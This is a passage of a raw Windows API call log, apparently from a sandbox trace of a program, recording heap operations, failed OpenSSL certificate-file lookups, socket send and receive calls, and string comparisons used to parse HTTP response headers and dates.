0x2d4a470 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a470, Size=0x40) returned 0x2d365a8 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35308, Size=0x20) returned 0x2d4a4c0 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354e8 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354d0 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4db70 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4dc70 | out: hHeap=0x2a0000) returned 1 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354d0, Size=0x20) returned 0x2d4a628 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354d0, Size=0x20) returned 0x2d4a5d8 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d355f0, Size=0x20) returned 0x2d4a4c0 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35440, Size=0x20) returned 0x2d4a5d8 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35440, Size=0x20) returned 0x2d4a218 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d356c8, Size=0x20) returned 0x2d4a218 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4bac8, Size=0x20) returned 0x2d4a1a0 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35740 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35320 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4e150 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4e1d0 | out: hHeap=0x2a0000) returned 1 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35320, Size=0x20) returned 0x2d4a268 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35320, Size=0x20) returned 0x2d4a1f0 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4b9d8, Size=0x20) returned 0x2d4a768 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ba50 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ba68 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4e0f0 | out: hHeap=0x2a0000) returned 1 [0118.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4e170 | out: hHeap=0x2a0000) returned 1 [0118.560] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ba68, Size=0x20) returned 0x2d4a290 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ba68, Size=0x20) returned 0x2d4a7b8 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4bbb8, Size=0x20) returned 0x2d4a768 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34db0, Size=0x20) returned 0x2d4a7b8 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4bcd8, Size=0x20) returned 0x2d4a808 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4c0b0, Size=0x20) returned 0x2d4a538 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4c0b0, Size=0x20) returned 0x2d4a510 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4c0b0, Size=0x20) returned 0x2d4a678 [0118.561] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35320, Size=0x20) returned 0x2d4a538 [0118.561] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f428 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.561] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/157753a5.0", lpFindFileData=0x18f568 | out: lpFindFileData=0x18f568*(dwFileAttributes=0x77c6e36c, ftCreationTime.dwLowDateTime=0x77cd65f1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d46fa0, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d47d90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xe003a, nFileSizeLow=0x2d23e56, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="\x80ö\x18", cAlternateFileName="")) returned 0xffffffff [0118.561] GetLastError () returned 0x3 [0118.561] SetLastError (dwErrCode=0x3) [0118.561] GetLastError () returned 0x3 [0118.561] SetLastError (dwErrCode=0x3) [0118.561] GetLastError () returned 0x3 [0118.561] SetLastError (dwErrCode=0x3) [0118.561] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/157753a5.0", nBufferLength=0x104, lpBuffer=0x18f6a8, lpFilePart=0x18f500 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\157753a5.0", lpFilePart=0x18f500*="157753a5.0") returned 0x21 [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f420 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.562] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/d6325660.0", lpFindFileData=0x18f560 | out: lpFindFileData=0x18f560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d46fa0, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d47d90, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d47d90, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="xö\x18", cAlternateFileName="")) returned 0xffffffff [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/d6325660.0", nBufferLength=0x104, lpBuffer=0x18f6a0, lpFilePart=0x18f4f8 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\d6325660.0", lpFilePart=0x18f4f8*="d6325660.0") returned 0x21 [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.562] GetLastError () returned 0x3 [0118.562] SetLastError (dwErrCode=0x3) [0118.563] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f420 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.563] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/8d28ae65.0", lpFindFileData=0x18f560 | out: lpFindFileData=0x18f560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d46fa0, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d47d90, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d47d90, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="xö\x18", cAlternateFileName="")) returned 0xffffffff [0118.563] GetLastError () returned 0x3 [0118.563] SetLastError (dwErrCode=0x3) [0118.563] GetLastError () returned 0x3 [0118.563] SetLastError (dwErrCode=0x3) [0118.563] GetLastError () returned 0x3 [0118.563] SetLastError (dwErrCode=0x3) [0118.563] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/8d28ae65.0", nBufferLength=0x104, lpBuffer=0x18f6a0, lpFilePart=0x18f4f8 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\8d28ae65.0", lpFilePart=0x18f4f8*="8d28ae65.0") returned 0x21 [0118.563] GetLastError () returned 0x3 [0118.563] SetLastError (dwErrCode=0x3) [0118.563] GetLastError () returned 0x3 [0118.563] SetLastError (dwErrCode=0x3) [0118.563] GetLastError () returned 0x3 [0118.563] SetLastError (dwErrCode=0x3) [0118.563] WSASetLastError (iError=0) [0118.563] recv (in: s=0x12c, buf=0x2d409d3, len=5, flags=0 | out: buf=0x2d409d3*) returned 5 [0118.563] SetLastError (dwErrCode=0x0) [0118.563] WSASetLastError (iError=0) [0118.563] recv (in: s=0x12c, buf=0x2d409d8, len=333, flags=0 | out: buf=0x2d409d8*) returned 333 [0118.564] WSASetLastError (iError=0) [0118.564] recv (in: s=0x12c, buf=0x2d409d3, len=5, flags=0 | out: buf=0x2d409d3*) returned 5 [0118.564] SetLastError (dwErrCode=0x0) [0118.564] WSASetLastError (iError=0) [0118.564] recv (in: s=0x12c, buf=0x2d409d8, len=4, flags=0 | out: buf=0x2d409d8*) returned 4 [0118.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f62c | out: lpSystemTimeAsFileTime=0x18f62c*(dwLowDateTime=0x97933bc0, dwHighDateTime=0x1d60051)) [0118.567] WSASetLastError (iError=0) [0118.567] send (s=0x12c, buf=0x2d45f28*, len=126, flags=0) returned 126 [0118.567] SetLastError (dwErrCode=0x0) [0118.567] WSASetLastError (iError=0) [0118.567] recv (in: s=0x12c, buf=0x2d409d3, len=5, flags=0 | out: buf=0x2d409d3*) returned 5 [0118.691] SetLastError (dwErrCode=0x0) [0118.692] WSASetLastError (iError=0) [0118.692] recv (in: s=0x12c, buf=0x2d409d8, len=1, flags=0 | out: buf=0x2d409d8*) returned 1 [0118.692] WSASetLastError (iError=0) [0118.692] recv (in: s=0x12c, buf=0x2d409d3, len=5, flags=0 | out: buf=0x2d409d3*) returned 5 [0118.692] SetLastError (dwErrCode=0x0) [0118.692] WSASetLastError (iError=0) [0118.692] recv (in: s=0x12c, buf=0x2d409d8, len=40, flags=0 | out: buf=0x2d409d8*) returned 40 [0118.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0118.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0118.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0118.692] WSASetLastError (iError=0) [0118.692] send (s=0x12c, buf=0x2d51d33*, len=193, flags=0) returned 193 [0118.693] GetTickCount64 () returned 0x1150667 [0118.693] select (in: nfds=0, readfds=0x18fa00, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18fa00, writefds=0x0, exceptfds=0x0) returned 1 [0118.819] SetLastError (dwErrCode=0x0) [0118.819] SetLastError (dwErrCode=0x0) [0118.819] WSASetLastError (iError=0) [0118.819] recv (in: s=0x12c, buf=0x2d409d3, len=5, flags=0 | out: buf=0x2d409d3*) returned 5 [0118.819] SetLastError (dwErrCode=0x0) [0118.819] WSASetLastError (iError=0) [0118.819] recv (in: s=0x12c, buf=0x2d409d8, len=209, flags=0 | out: buf=0x2d409d8*) returned 209 [0118.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] GetTickCount64 () returned 0x11506e4 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Via", cchCount1=3, lpString2="Cache-control", cchCount2=13) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Connection", cchCount2=10) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Content-Version", cchCount2=15) returned 1 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Via", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Via", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Via", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Content-Language", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Via", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Type", cchCount2=12) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Type", cchCount2=12) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="text/plain", cchCount1=5, lpString2="text/", cchCount2=5) returned 2 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="plain", cchCount1=5, lpString2="xml", cchCount2=3) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="plain", cchCount1=5, lpString2="xml-external-parsed-entity", cchCount2=26) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lain", cchCount1=4, lpString2="+xml", cchCount2=4) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Content-Length", cchCount2=14) returned 2 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0118.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Content-Range", cchCount2=13) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Via", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Date", cchCount2=4) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Date", cchCount2=4) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Date", cchCount2=4) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Date", cchCount2=4) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0118.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 